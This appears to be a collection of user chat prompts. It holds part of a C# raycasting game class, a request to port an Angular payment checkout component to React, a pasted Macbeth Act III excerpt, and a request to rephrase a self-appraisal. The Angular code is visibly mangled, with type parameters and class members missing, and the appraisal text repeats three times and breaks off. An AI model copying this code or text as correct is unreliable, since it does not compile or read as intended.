Graphics.SetColor(Color.White);\n Graphics.Print("X: " + this.x + " Y: " + this.y, 0, 0);\n Graphics.Print("Angle: " + this.angle, 0, 20);\n }\n public void Update(float dt)\n {\n Movement(dt);\n\n }\n\n private void Movement(float dt)\n {\n float directionX = 0;\n float directionY = 0;\n if (Keyboard.IsDown(KeyConstant.W))\n {\n directionY = -1;\n }\n if (Keyboard.IsDown(KeyConstant.S))\n {\n directionY = 1;\n }\n if (Keyboard.IsDown(KeyConstant.A))\n {\n directionX = -1;\n }\n if (Keyboard.IsDown(KeyConstant.D))\n {\n directionX = 1;\n }\n\n float rotatedDirectionX = (float)Math.Cos(this.angle) \\* directionX - (float)Math.Sin(this.angle) \\* directionY;\n float rotatedDirectionY = (float)Math.Sin(this.angle) \\* directionX + (float)Math.Cos(this.angle) \\* directionY;\n\n float directionLength = (float)Math.Sqrt(rotatedDirectionX \\* rotatedDirectionX + rotatedDirectionY \\* rotatedDirectionY);\n if (directionLength > 0)\n {\n rotatedDirectionX /= directionLength;\n rotatedDirectionY /= directionLength;\n }\n\n this.x += rotatedDirectionX \\* this.speed \\* dt;\n this.y += rotatedDirectionY \\* this.speed \\* dt;\n }\n public void Rotation(float dx)\n {\n this.angle += dx \\* sensitivity \\* Program.deltaTime;\n \n }\n }\n public class Ray\n {\n public static float distance;\n\n public static float Cast(float x, float y, float centerAngle, float fov)\n {\n float startX = x;\n float startY = y;\n string section;\n float quality = 0.1f;\n int screenWidth = 800;\n int screenHeight = 600;\n\n for (float angle = centerAngle - fov / 2; angle < centerAngle + fov / 2; angle += Quality(fov, quality, screenWidth))\n {\n float endX = (float)(startX + Math.Cos(angle) \\* 50);\n float endY = (float)(startY + Math.Sin(angle) \\* 50);\n\n section = FacingSection(angle);\n\n if (section == "NE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "NW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n }\n return 0;\n }\n public static string FacingSection(float angle)\n {\n string facing = "";\n if (angle >= 0 && angle < Math.PI / 2)\n {\n facing = "NE";\n }\n else if (angle >= Math.PI / 2 && angle < Math.PI)\n {\n facing = "NW";\n }\n else if (angle >= Math.PI && angle < 3 \\* Math.PI / 2)\n {\n facing = "SW";\n }\n else if (angle >= 3 \\* Math.PI / 2 && angle < 2 \\* Math.PI)\n {\n facing = "SE";\n }\n return facing;\n }\n public static float Quality(float fov, float quality, float screenWidth)\n {\n \n // float angle = fov / screenWidth;\n // quality = angle / quality;\n // return quality;\n float angleBetweenRays = fov / screenWidth;\n float qualityAngle = (float)Math.Atan(quality / 2);\n float qualityAngleBetweenRays = qualityAngle / angleBetweenRays;\n return qualityAngleBetweenRays;\n }\n\n public static float Distance(float x1, float y1, float x2, float y2)\n {\n float distance = (float)Math.Sqrt((x2 - x1) \\* (x2 - x1) + (y2 - y1) \\* (y2 - y1));\n return distance;\n }\n\n public static void Draw(float x, float y, float distance, float angle, float fov)\n {\n \n float angleBetweenRays = fov / 800;\n float distanceToProjectionPlane = 800 / (2 \\* (float)Math.Tan(fov / 2));\n float distanceToWall = distance;\n float distanceToProjectionPoint = distanceToWall \\* (float)Math.Cos(angleBetweenRays);\n distanceToProjectionPlane = distanceToProjectionPoint \\* distanceToProjectionPlane / distanceToWall;\n float height = 600 / distanceToProjectionPlane;\n float width = 1;\n float color = 255 / distanceToWall;\n Graphics.SetColor(Color.FromRGBA(color, color, color, 255));\n Graphics.Rectangle(DrawMode.Fill, x, y - height / 2, width, height);\n \n\n }\n public static void Update(float x, float y, float angle, float fov)\n {\n Ray.distance = Cast(x, y, angle, fov);\n \n \n }\n }\n}' -'The angular component is a checkout page for our e-commerce store where users can choose between 7 payment processors: zen, g2a, credit, coinbase, giftcards, payop, paytriot.\nConvert the Angular component into React completely. If you are missing any logic, use something smiliar or best practises. \n\nimport { ChangeDetectionStrategy, ChangeDetectorRef, Component, OnDestroy, OnInit } from ‘@angular/core’;\nimport { MatDialog } from ‘@angular/material/dialog’;\n\nimport { Observable, of, Subject } from ‘rxjs’;\nimport { debounceTime, map, skip, switchMap, takeUntil } from ‘rxjs/operators’;\nimport { DepositService } from ‘../../services/deposit.service’;\n\nimport { Title } from ‘@angular/platform-browser’;\nimport { CasesService } from ‘src/app/cases/services/cases.service’;\nimport { ActivatedRoute, Router } from ‘@angular/router’;\nimport { MatCheckboxChange } from ‘@angular/material/checkbox’;\nimport { AppConfigService } from ‘src/app/core/services/app-config.service’;\nimport { patch, RxState } from ‘@rx-angular/state’;\nimport { GlobalLootieState } from ‘../../../rxstate/global-lootie.state’;\nimport { LanguageRouter } from ‘../../../core/services/language-router’;\nimport { SegmentProxy } from ‘../../../lazy-bootstrap/proxies/segment.proxy’;\nimport { LocalizedToastrService } from ‘../../../core/services/localized-toastr.service’;\nimport { defined } from ‘../../../core/utils/defined’;\n\nexport enum PaymentMethods {\nzen = ‘zen’,\ng2a = ‘g2a’,\ncredit = ‘credit’,\ncoinbase = ‘coinbase’,\ngiftcards = ‘giftcards’,\npayop = ‘payop’,\npaytriot = ‘paytriot’,\n}\n\nconst DEFAULT\\_DEPOSIT\\_AMOUNT = 100;\n\ninterface DepositState {\nloading: boolean;\ncheckoutUrl: string;\ncheckoutOptions: any;\nsuccess: boolean;\nfailed: string;\n}\n\n@Component({\nselector: ‘app-deposit’,\ntemplateUrl: ‘./deposit.component.html’,\nstyleUrls: [‘./deposit.component.scss’],\nchangeDetection: ChangeDetectionStrategy.OnPush,\n})\n\nexport class DepositComponent extends RxState();\n//// HANDLERS\nproceedDepositHandler$ = this.proceedDeposit$.pipe(\nswitchMap(({ type, data, coupon }) => {\nconst isCreditCharge = type === ‘credit’;\n// const paymentOption = isCreditCharge ? ‘card’ : undefined;\nconst box = localStorage.getItem(‘boxId’);\nconst d = localStorage.getItem(‘session’);\n\nreturn this.depositService[isCreditCharge ? ‘credit’ : type]({ data, coupon, box, d }).pipe(\nmap(res => {\nif (type === ‘steam’) {\nthis.localizedToastr.successMessage(‘We are processing your requests, please wait...’);\n} else if (res[‘data’] && res[‘data’].checkoutUrl) {\nthis.set({ checkoutUrl: res[‘data’].checkoutUrl });\n} else if (res[‘data’] && res[‘data’].checkoutOptions) {\nthis.set({ checkoutOptions: res[‘data’].checkoutOptions });\n}\n\nlocalStorage.removeItem(‘boxId’);\nlocalStorage.removeItem(‘boxName’);\n\nif (res[‘data’] && res[‘data’].balance && res[‘data’].deposited) {\nconst { balance, deposited } = res[‘data’];\n\nconst user = this.globalState.get(‘user’);\n\nthis.globalState.set({\nuser: patch(user, {\nbalance: defined(balance, user.balance),\ndepositedValue: defined(deposited, user.depositedValue),\n}),\n});\n\nif (res[‘message’]) {\nthis.localizedToastr.successMessage(res[‘message’]);\n}\n}\n}),\nthis.localizedToastr.toastHttpError()\n);\n})\n);\n\nisMobile$: Observable {\nif (params && params[‘mode’]) {\nconst mode = params[‘mode’];\nfor (const key in PaymentMethods) {\nif (mode === PaymentMethods[key]) {\nthis.selectedMethod = params[‘mode’];\nthis.startPayment(true);\n}\n}\n} else {\nthis.selectedMethod = PaymentMethods.credit;\nthis.paymentOption = ‘’;\nthis.depositTitle = ‘DEPOSIT.CHOOSE\\_PAYMENT\\_METHOD’;\n}\nthis.changeDetectorRef.markForCheck();\n});\n\nthis.titleService.setTitle(‘Deposit | Lootie’);\n\nconst promocode = localStorage.getItem(‘promocode’);\nif (promocode) {\nthis.promocode = promocode;\nlocalStorage.removeItem(‘promocode’);\n}\n\nthis.\\_debounceCode.pipe(debounceTime(500)).subscribe(\\_ => {\nif (this.promocode === ‘’) {\nthis.promocodeStatus = ‘’;\nthis.promocodeValue = 0;\nthis.changeDetectorRef.markForCheck();\nreturn;\n}\n\ntry {\nRegExp(this.promocode);\n} catch (error) {\nthis.promocodeStatus = ‘invalid’;\nthis.changeDetectorRef.markForCheck();\nreturn;\n}\n\nthis.isLoading$ = of(true);\nthis.depositService.validatePromocode(this.promocode).subscribe(\nres => {\nthis.isLoading$ = of(false);\nif (this.promocode) {\nthis.promocodeStatus = ‘valid’;\nthis.promocodeValue = res[‘data’].value;\n}\nthis.changeDetectorRef.markForCheck();\n},\n(res: Error) => {\nconst error = res[‘error’];\nthis.isLoading$ = of(false);\nif (this.promocode) {\nthis.promocodeStatus = ‘invalid’;\n}\nthis.changeDetectorRef.markForCheck();\n}\n);\n});\n\nthis.isStatusSuccess$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(isSuccess => {\nif (isSuccess) {\nthis.paymentOption = ‘success’;\n}\nthis.changeDetectorRef.markForCheck();\n// DepositDialogComponent.hide(this.dialog);\n});\n\nthis.isStatusFail$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(failOption => {\nif (failOption) {\nthis.paymentOption = failOption;\n}\nthis.changeDetectorRef.markForCheck();\n// DepositDialogComponent.hide(this.dialog);\n});\n\nthis.checkoutUrl$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(url => {\n// if (!url) {\n// return DepositDialogComponent.hide(this.dialog);\n// }\n// if (\n// this.paymentOption === PaymentMethods.coinbase ||\n// this.paymentOption === PaymentMethods.payop\n// ) {\nwindow.open(url, ‘\\_self’);\n// } else {\n// DepositDialogComponent.show(this.dialog, url);\n// }\n});\n\nthis.checkoutOptions$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(options => {\nthis.proceedFormDeposit(options);\n});\n\nthis.isMobile$.pipe(takeUntil(this.unsubscribe$)).subscribe(data => {\nthis.isMobile = data;\nthis.changeDetectorRef.markForCheck();\n});\n\nthis.paymentMethods = this.paymentMethods.map(item => {\nconst newItem = { ...item };\nconst bonusPercent = this.appConfigService.config?.depositBonus[item.value];\n\nif (bonusPercent && bonusPercent > 0) {\nnewItem[‘bonus’] = `${Math.floor(bonusPercent \\* 100)}% BONUS`;\n}\n\nreturn newItem;\n});\n}\n\nngOnInit() {\nif (this.isMobile) {\nsetTimeout(() => {\nconst el = document.getElementById(‘deposit-page-container’);\n\nwindow.scrollTo(0, el.offsetTop - 65);\n}, 100);\n}\n}\n\nonValidatePromocode() {\nthis.\\_debounceCode.next();\n}\n\nsendTicket(): void {\nwindow.Intercom(‘showNewMessage’);\n}\n\nonChangeAmount(isPositive: boolean): void {\nconst currentIndex = this.amountList.indexOf(this.amount);\nif (isPositive) {\nthis.amount = this.amountList[currentIndex + 1] || this.amount;\nreturn;\n}\n\nthis.amount = this.amountList[currentIndex - 1] || this.amount;\n}\n\nstartPayment(isRouteCheck?: boolean): void {\nif (this.selectedMethod === PaymentMethods.giftcards) {\nthis.amountList = [10, 25, 50, 100, 200];\nthis.depositTitle = ‘DEPOSIT.SELECT\\_GIFTCARD’;\n} else {\nthis.amountList = [...this.initialAmountList];\n}\n\nif (this.selectedMethod !== PaymentMethods.giftcards) {\nthis.depositTitle = ‘DEPOSIT.SELECT\\_YOUR\\_AMOUNT’;\n}\n\nthis.paymentOption = this.selectedMethod;\n\nif (!isRouteCheck) {\nthis.languageRouter.navigate([‘/topup’], {\nqueryParams: { mode: this.selectedMethod },\n});\n}\n\nthis.segment.track(‘Payment Method Chosen’, {\n// eslint-disable-next-line @typescript-eslint/naming-convention\nPaymentMethod: this.paymentOption,\n// eslint-disable-next-line @typescript-eslint/naming-convention\nAddFundsButtonClicked: this.casesService.addFundsButtonClicked,\n});\n}\n\nclearPromocode(): void {\nthis.promocode = ‘’;\nthis.promocodeStatus = ‘’;\nthis.promocodeValue = 0;\n}\n\nopenFAQ(value: boolean): void {\nthis.isPaymentFAQ = value;\n}\n\nonCurrencyInput(evt: Event) {\nconst value = (evt.target as HTMLInputElement).value;\nconst num = parseInt(value.replace(/[$,]/g, ‘’), 10);\n\n// [demidn] A bit workaround way for preventing users from typing letters.\n// We can not just always set this.amount = isNaN(num) ? 0 : num, because first time amount will be changed to 0\n// and change detection will work, howevever if user continue typing letters, we are changing amount from 0 to 0\n// same value and change detection will not run. So here we first set it to null and detect changes and then set to real\n// value and mark for check - in this case change detection will work always.\nthis.amount = null;\nthis.changeDetectorRef.detectChanges();\nthis.amount = isNaN(num) ? 0 : num;\nthis.changeDetectorRef.markForCheck();\n}\n\nproceedDeposit(): void {\nif (this.amount < 1 || this.promocodeStatus === ‘invalid’) {\nreturn;\n}\nif (this.isCreditCardPayment() && !this.isTOSAgreed) {\nreturn;\n}\n\n// this.store.dispatch(\n// new fromDeposit.ProceedDeposit({\n// type: this.paymentOption,\n// data: this.amount,\n// coupon: this.promocode,\n// })\n// );\nthis.proceedDeposit$.next({\ntype: this.paymentOption,\ndata: this.amount,\ncoupon: this.promocode,\n});\n\nthis.segment.track(‘Payment Amount Chosen’, {\n// eslint-disable-next-line @typescript-eslint/naming-convention\nPaymentAmount: this.amount,\n// eslint-disable-next-line @typescript-eslint/naming-convention\nAddFundsButtonClicked: this.casesService.addFundsButtonClicked,\n});\n}\n\nonOpenGiftCard() {\nwindow.open(this.giftcardLinks[this.amount], ‘targetWindow’, ‘width=500, height=800’);\n// window.open(\n// https://shoppy.gg/@Lootie,\n// ‘targetWindow’,\n// ‘width=500, height=800’\n// );\n}\n\nonChangeAgreeToTOS(ob: MatCheckboxChange) {\nthis.isTOSAgreed = ob.checked ? true : false;\n}\n\nisCreditCardPayment() {\nreturn this.selectedMethod === PaymentMethods.credit || this.selectedMethod === PaymentMethods.zen;\n}\n\nfilterLogos(logos, hideFullCreditLogs) {\nif (hideFullCreditLogs) return logos.slice(0, 2);\nreturn logos;\n}\n\nngOnDestroy() {\nthis.unsubscribe$.next();\nthis.unsubscribe$.complete();\n}\n\nproceedFormDeposit(options) {\nconst { method, url, form: params } = options;\nconst form = document.createElement(‘form’);\nform.setAttribute(‘method’, method);\nform.setAttribute(‘action’, url);\n\nfor (const key in params) {\nif (params.hasOwnProperty(key)) {\nconst hiddenField = document.createElement(‘input’);\nhiddenField.setAttribute(‘type’, ‘hidden’);\nhiddenField.setAttribute(‘name’, key);\nhiddenField.setAttribute(‘value’, params[key]);\n\nform.appendChild(hiddenField);\n}\n}\n\ndocument.body.appendChild(form);\nform.submit();\nform.remove();\n}\n}' -"Here is part of act three of macbeth. Use this as context for the rest of the conversation: \n\n[Enter BANQUO]\n\nBanquo. Thou hast it now: king, Cawdor, Glamis, all,\nAs the weird women promised, and, I fear,\nThou play'dst most foully for't: yet it was said\nIt should not stand in thy posterity,1005\nBut that myself should be the root and father\nOf many kings. If there come truth from them—\nAs upon thee, Macbeth, their speeches shine—\nWhy, by the verities on thee made good,\nMay they not be my oracles as well,1010\nAnd set me up in hope? But hush! no more.\n[Sennet sounded. Enter MACBETH, as king, LADY]\nMACBETH, as queen, LENNOX, ROSS, Lords, Ladies, and Attendants]\nMacbeth. Here's our chief guest.\nLady Macbeth. If he had been forgotten,1015\nIt had been as a gap in our great feast,\nAnd all-thing unbecoming.\nMacbeth. To-night we hold a solemn supper sir,\nAnd I'll request your presence.\nBanquo. Let your highness1020\nCommand upon me; to the which my duties\nAre with a most indissoluble tie\nFor ever knit.\nMacbeth. Ride you this afternoon?\nBanquo. Ay, my good lord.1025\nMacbeth. We should have else desired your good advice,\nWhich still hath been both grave and prosperous,\nIn this day's council; but we'll take to-morrow.\nIs't far you ride?\nBanquo. As far, my lord, as will fill up the time1030\n'Twixt this and supper: go not my horse the better,\nI must become a borrower of the night\nFor a dark hour or twain.\nMacbeth. Fail not our feast.\nBanquo. My lord, I will not.1035\nMacbeth. We hear, our bloody cousins are bestow'd\nIn England and in Ireland, not confessing\nTheir cruel parricide, filling their hearers\nWith strange invention: but of that to-morrow,\nWhen therewithal we shall have cause of state1040\nCraving us jointly. Hie you to horse: adieu,\nTill you return at night. Goes Fleance with you?\nBanquo. Ay, my good lord: our time does call upon 's.\nMacbeth. I wish your horses swift and sure of foot;\nAnd so I do commend you to their backs. Farewell.1045\n[Exit BANQUO]\nLet every man be master of his time\nTill seven at night: to make society\nThe sweeter welcome, we will keep ourself\nTill supper-time alone: while then, God be with you!1050\n[Exeunt all but MACBETH, and an attendant]\nSirrah, a word with you: attend those men\nOur pleasure?\nAttendant. They are, my lord, without the palace gate.\nMacbeth. Bring them before us.1055\n[Exit Attendant]\nTo be thus is nothing;\nBut to be safely thus.—Our fears in Banquo\nStick deep; and in his royalty of nature\nReigns that which would be fear'd: 'tis much he dares;1060\nAnd, to that dauntless temper of his mind,\nHe hath a wisdom that doth guide his valour\nTo act in safety. There is none but he\nWhose being I do fear: and, under him,\nMy Genius is rebuked; as, it is said,1065\nMark Antony's was by Caesar. He chid the sisters\nWhen first they put the name of king upon me,\nAnd bade them speak to him: then prophet-like\nThey hail'd him father to a line of kings:\nUpon my head they placed a fruitless crown,1070\nAnd put a barren sceptre in my gripe,\nThence to be wrench'd with an unlineal hand,\nNo son of mine succeeding. If 't be so,\nFor Banquo's issue have I filed my mind;\nFor them the gracious Duncan have I murder'd;1075\nPut rancours in the vessel of my peace\nOnly for them; and mine eternal jewel\nGiven to the common enemy of man,\nTo make them kings, the seed of Banquo kings!\nRather than so, come fate into the list.1080\nAnd champion me to the utterance! Who's there!\n[Re-enter Attendant, with two Murderers]\nNow go to the door, and stay there till we call.\n[Exit Attendant]\nWas it not yesterday we spoke together?1085\nFirst Murderer. It was, so please your highness.\nMacbeth. Well then, now\nHave you consider'd of my speeches? Know\nThat it was he in the times past which held you\nSo under fortune, which you thought had been1090\nOur innocent self: this I made good to you\nIn our last conference, pass'd in probation with you,\nHow you were borne in hand, how cross'd,\nthe instruments,\nWho wrought with them, and all things else that might1095\nTo half a soul and to a notion crazed\nSay 'Thus did Banquo.'\nFirst Murderer. You made it known to us.\nMacbeth. I did so, and went further, which is now\nOur point of second meeting. Do you find1100\nYour patience so predominant in your nature\nThat you can let this go? Are you so gospell'd\nTo pray for this good man and for his issue,\nWhose heavy hand hath bow'd you to the grave\nAnd beggar'd yours for ever?1105\nFirst Murderer. We are men, my liege.\nMacbeth. Ay, in the catalogue ye go for men;\nAs hounds and greyhounds, mongrels, spaniels, curs,\nShoughs, water-rugs and demi-wolves, are clept\nAll by the name of dogs: the valued file1110\nDistinguishes the swift, the slow, the subtle,\nThe housekeeper, the hunter, every one\nAccording to the gift which bounteous nature\nHath in him closed; whereby he does receive\nParticular addition. from the bill1115\nThat writes them all alike: and so of men.\nNow, if you have a station in the file,\nNot i' the worst rank of manhood, say 't;\nAnd I will put that business in your bosoms,\nWhose execution takes your enemy off,1120\nGrapples you to the heart and love of us,\nWho wear our health but sickly in his life,\nWhich in his death were perfect.\nSecond Murderer. I am one, my liege,\nWhom the vile blows and buffets of the world1125\nHave so incensed that I am reckless what\nI do to spite the world.\nFirst Murderer. And I another\nSo weary with disasters, tugg'd with fortune,\nThat I would set my lie on any chance,1130\nTo mend it, or be rid on't.\nMacbeth. Both of you\nKnow Banquo was your enemy.\nFirst Murderer. [with Second Murderer] True, my lord.\nMacbeth. So is he mine; and in such bloody distance,1135\nThat every minute of his being thrusts\nAgainst my near'st of life: and though I could\nWith barefaced power sweep him from my sight\nAnd bid my will avouch it, yet I must not,\nFor certain friends that are both his and mine,1140\nWhose loves I may not drop, but wail his fall\nWho I myself struck down; and thence it is,\nThat I to your assistance do make love,\nMasking the business from the common eye\nFor sundry weighty reasons.1145\nSecond Murderer. We shall, my lord,\nPerform what you command us.\nFirst Murderer. Though our lives—\nMacbeth. Your spirits shine through you. Within this hour at most\nI will advise you where to plant yourselves;1150\nAcquaint you with the perfect spy o' the time,\nThe moment on't; for't must be done to-night,\nAnd something from the palace; always thought\nThat I require a clearness: and with him—\nTo leave no rubs nor botches in the work—1155\nFleance his son, that keeps him company,\nWhose absence is no less material to me\nThan is his father's, must embrace the fate\nOf that dark hour. Resolve yourselves apart:\nI'll come to you anon.1160\nFirst Murderer. [With Second Murderer] We are resolved, my lord.\nMacbeth. I'll call upon you straight: abide within.\n[Exeunt Murderers]\nIt is concluded. Banquo, thy soul's flight,\nIf it find heaven, must find it out to-night.1165\n[Exit]\n\n \nAct III, Scene 2\n\nThe palace.\n\n \n[Enter LADY MACBETH and a Servant]\n\nLady Macbeth. Is Banquo gone from court?\nServant. Ay, madam, but returns again to-night.\nLady Macbeth. Say to the king, I would attend his leisure1170\nFor a few words.\nServant. Madam, I will.\n[Exit]\n\nLady Macbeth. Nought's had, all's spent,\nWhere our desire is got without content:1175\n'Tis safer to be that which we destroy\nThan by destruction dwell in doubtful joy.\n[Enter MACBETH]\nHow now, my lord! why do you keep alone,\nOf sorriest fancies your companions making,1180\nUsing those thoughts which should indeed have died\nWith them they think on? Things without all remedy\nShould be without regard: what's done is done.\nMacbeth. We have scotch'd the snake, not kill'd it:\nShe'll close and be herself, whilst our poor malice1185\nRemains in danger of her former tooth.\nBut let the frame of things disjoint, both the\nworlds suffer,\nEre we will eat our meal in fear and sleep\nIn the affliction of these terrible dreams1190\nThat shake us nightly: better be with the dead,\nWhom we, to gain our peace, have sent to peace,\nThan on the torture of the mind to lie\nIn restless ecstasy. Duncan is in his grave;\nAfter life's fitful fever he sleeps well;1195\nTreason has done his worst: nor steel, nor poison,\nMalice domestic, foreign levy, nothing,\nCan touch him further.\nLady Macbeth. Come on;\nGentle my lord, sleek o'er your rugged looks;1200\nBe bright and jovial among your guests to-night.\nMacbeth. So shall I, love; and so, I pray, be you:\nLet your remembrance apply to Banquo;\nPresent him eminence, both with eye and tongue:\nUnsafe the while, that we1205\nMust lave our honours in these flattering streams,\nAnd make our faces vizards to our hearts,\nDisguising what they are.\nLady Macbeth. You must leave this.\nMacbeth. O, full of scorpions is my mind, dear wife!1210\nThou know'st that Banquo, and his Fleance, lives.\nLady Macbeth. But in them nature's copy's not eterne.\nMacbeth. There's comfort yet; they are assailable;\nThen be thou jocund: ere the bat hath flown\nHis cloister'd flight, ere to black Hecate's summons1215\nThe shard-borne beetle with his drowsy hums\nHath rung night's yawning peal, there shall be done\nA deed of dreadful note.\nLady Macbeth. What's to be done?\nMacbeth. Be innocent of the knowledge, dearest chuck,1220\nTill thou applaud the deed. Come, seeling night,\nScarf up the tender eye of pitiful day;\nAnd with thy bloody and invisible hand\nCancel and tear to pieces that great bond\nWhich keeps me pale! Light thickens; and the crow1225\nMakes wing to the rooky wood:\nGood things of day begin to droop and drowse;\nWhile night's black agents to their preys do rouse.\nThou marvell'st at my words: but hold thee still;\nThings bad begun make strong themselves by ill.1230\nSo, prithee, go with me.\n[Exeunt]\n\n \nAct III, Scene 3\n\nA park near the palace.\n\n \n[Enter three Murderers]\n\nFirst Murderer. But who did bid thee join with us?\nThird Murderer. Macbeth.1235\nSecond Murderer. He needs not our mistrust, since he delivers\nOur offices and what we have to do\nTo the direction just.\nFirst Murderer. Then stand with us.\nThe west yet glimmers with some streaks of day:1240\nNow spurs the lated traveller apace\nTo gain the timely inn; and near approaches\nThe subject of our watch.\nThird Murderer. Hark! I hear horses.\nBanquo. [Within] Give us a light there, ho!1245\nSecond Murderer. Then 'tis he: the rest\nThat are within the note of expectation\nAlready are i' the court.\nFirst Murderer. His horses go about.\nThird Murderer. Almost a mile: but he does usually,1250\nSo all men do, from hence to the palace gate\nMake it their walk.\nSecond Murderer. A light, a light!\n[Enter BANQUO, and FLEANCE with a torch]\n\nThird Murderer. 'Tis he.1255\nFirst Murderer. Stand to't.\nBanquo. It will be rain to-night.\nFirst Murderer. Let it come down.\n[They set upon BANQUO]\n\nBanquo. O, treachery! Fly, good Fleance, fly, fly, fly!1260\nThou mayst revenge. O slave!\n[Dies. FLEANCE escapes]\n\nThird Murderer. Who did strike out the light?\nFirst Murderer. Wast not the way?\nThird Murderer. There's but one down; the son is fled.1265\nSecond Murderer. We have lost\nBest half of our affair.\nFirst Murderer. Well, let's away, and say how much is done.\n[Exeunt]" -"rephrase the below items\nStarting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I Starting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I Starting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have 